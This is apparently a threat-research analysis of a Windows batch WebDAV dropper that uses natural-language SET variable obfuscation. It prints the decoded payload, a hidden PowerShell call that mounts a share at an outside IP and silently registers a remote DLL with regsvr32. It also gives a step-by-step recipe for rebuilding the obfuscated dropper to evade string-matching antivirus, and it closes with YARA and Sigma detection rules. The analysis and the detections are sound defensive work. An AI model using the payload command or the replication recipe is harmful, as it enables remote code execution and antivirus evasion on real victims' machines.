unclassified-js-webdav-dropper: 00a5ec55 — natural-language SET obfuscation with leading word-salad padding

Pure-batch WebDAV dropper using 36 English-phrase SET variables decoded via %VAR% expansion, color f0 && start wordpad decoy, and a powershell.exe -windowstyle hidden wrapper around net use + regsvr32 /s. Leading word-salad padding (~25 lines) precedes the :pies payload label. Seventieth confirmed sibling in the unclassified-js-webdav-dropper cluster.

What It Is

• Filename: 2650423314881710765.bat ^[triage.json]
• Size: 11,911 bytes (12 kB) ^[file.txt]
• Type: Windows batch script, CRLF line endings, ASCII ^[file.txt] ^[exiftool.json]
• Family: unclassified-js-webdav-dropper — natural-language SET obfuscation dialect (batch variant) ^[entities/unclassified-js-webdav-dropper.md]
• Static-only: CAPE skipped — ASCII text is not a supported binary class for detonation ^[dynamic-analysis.md]

How It Works

Execution chain is four commands after the :pies label:

1. Obfuscation setup: 36 SET assignments chained with && on a single line. Each variable name is a grammatically coherent English compound phrase (e.g. honorablesortguiltless, remarkableknowledgerelax, typicaldrawercheer). Each maps to a single alphanumeric character. ^[strings.txt:27]
2. Decoy launch: color f0 && start wordpad — changes console color to black-on-white and opens WordPad as a misdirection. ^[strings.txt:28]
3. Payload execution: start powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\5361312454835.dll — mounts the WebDAV share silently, then silently registers the remote DLL. ^[strings.txt:29]
4. Self-termination: exit. ^[strings.txt:30]

The script opens with goto pies, skipping ~25 lines of semantically plausible but functionally irrelevant English word-salad (e.g. "cannon scrape juicy coat camp redundant steep bashful", "flight attack tour boundless"). This padding serves no runtime purpose — it is purely anti-static bulk. ^[strings.txt:1-26]

Decompiled Behavior

Not applicable — this is a plaintext batch script. No PE sections, no CLR metadata, no Ghidra surface. The entire threat logic is visible in strings.txt (which is the file itself). ^[strings.txt]

C2 Infrastructure

No domains, no URLs, no mutexes, no registry keys, no persistence. One-shot execution.

Interesting Tidbits

• Natural-language variable names: Unlike the random-noise SET dialect (e.g. 7015b169), this sample uses grammatically coherent compound phrases (honorablesortguiltless, wistfulmomyam, bucketaftermathtoothbrush). The variable names are not random — they read like Mad Libs output, which may be a generator artefact. ^[strings.txt:27]
• No goto ambiguity: The label is :pies and the script starts with goto pies. The padding is skipped cleanly. No sandbox gate, no debugger check, no time delay. ^[strings.txt:1] ^[strings.txt:26]
• Inline PowerShell, not -EncodedCommand: The batch variant here wraps the net use + regsvr32 chain in powershell.exe -windowstyle hidden as a single unencoded command string. This is distinct from the JScript dictionary siblings that use -EncodedCommand. ^[strings.txt:29]
• File size is mid-range: 11,911 bytes sits between the minimal 8-line variants (~1 KB) and the expanded padding variants (~20 KB, e.g. dac5e0ee). The padding here is ~25 lines — enough to push the payload below the fold in a text editor but not enough to trigger heuristic size alerts. ^[file.txt]

How To Mess With It (Homelab Replication)

Toolchain: Any text editor + Windows cmd.exe

Recipe:

1. Pick 36 distinct English compound phrases (3–4 words each, grammatically coherent but semantically absurd).
2. Map each phrase to a single character needed for your payload string.
3. Write goto <label> on line 1.
4. Add 20–30 lines of random English words as padding.
5. Add :<label> followed by set phrase1=c&&set phrase2=m&&... (36 assignments).
6. Add %phrase1%%phrase2%... expansion lines to assemble: color f0 && start wordpad, start powershell.exe -windowstyle hidden net use \\<IP>@<port>\davwwwroot\ ; regsvr32 /s \\<IP>@<port>\davwwwroot\<payload>.dll, and exit.

Verification: Save as .bat, open in Notepad. The payload commands should not be human-readable until you manually expand each %VAR%. Run in a VM with a fake WebDAV endpoint (e.g. python -m http.server 8888 + WebDAV middleware) and observe the net use + regsvr32 attempt.

What you'll learn: How trivial batch variable expansion defeats naive string-matching AV, and why regsvr32 /s over a UNC path is a favourite living-off-the-land technique for script droppers.

Deployable Signatures

YARA rule

rule WebDAV_Batch_Dropper_NaturalLanguage_SET
{
    meta:
        description = "Detects batch-script WebDAV dropper with natural-language SET variable obfuscation"
        author = "PacketPursuit"
        date = "2026-07-15"
        hash = "00a5ec55396df98f6c58fcfd43e4d565eb776dfc7019dc4a11789593113e20bb"
    strings:
        $goto_label = /goto [a-z]{3,20}/
        $set_chain = /set [a-z]{15,35}=[a-z0-9]&&set /i
        $net_use = "net use" nocase
        $davwwwroot = "davwwwroot" nocase
        $regsvr32 = "regsvr32 /s" nocase
        $wordpad = "start wordpad" nocase
    condition:
        filesize < 30KB and
        $goto_label and
        $set_chain and
        $net_use and
        $davwwwroot and
        $regsvr32 and
        $wordpad
}

Sigma rule

title: WebDAV Batch Dropper Execution - net use + regsvr32 over UNC
logsource:
    product: windows
    category: process_creation
detection:
    selection_netuse:
        CommandLine|contains:
            - 'net use'
            - 'davwwwroot'
    selection_regsvr32:
        CommandLine|contains|all:
            - 'regsvr32'
            - '.dll'
            - '\\'
            - '@'
    selection_powershell:
        CommandLine|contains|all:
            - 'powershell'
            - '-windowstyle hidden'
    condition: selection_netuse and selection_regsvr32 and selection_powershell
falsepositives:
    - Rare legitimate administrative scripts that use WebDAV + regsvr32
level: high

IOC list

Behavioral fingerprint

This sample is a one-shot batch script that skips leading word-salad padding via goto, sets 36 natural-language variables on a single &&-chained line, expands them to assemble color f0 && start wordpad (decoy), start powershell.exe -windowstyle hidden net use <webdav> ; regsvr32 /s <remote_dll> (payload), and exit (self-termination). No persistence, no sandbox evasion, no network beyond the WebDAV mount.

Detection Signatures

References

• unclassified-js-webdav-dropper — Cluster entity page (69 prior siblings documented)
• batch-powershell-variable-expansion-obfuscation — Technique page for SET fragmentation
• webdav-regsvr32-dll-sideloading — Technique page for WebDAV + regsvr32 chain
• MalwareBazaar artifact: 00a5ec55396df98f6c58fcfd43e4d565eb776dfc7019dc4a11789593113e20bb

Provenance

Analysis derived from static inspection of the plaintext batch file. No PE surface; capa and floss rejected the input as unsupported. strings.txt is the complete file contents. Tool versions: file 5.44, ExifTool 12.76. CAPE detonation skipped (ASCII text, not a binary class). ^[file.txt] ^[capa.txt] ^[floss.txt] ^[dynamic-analysis.md]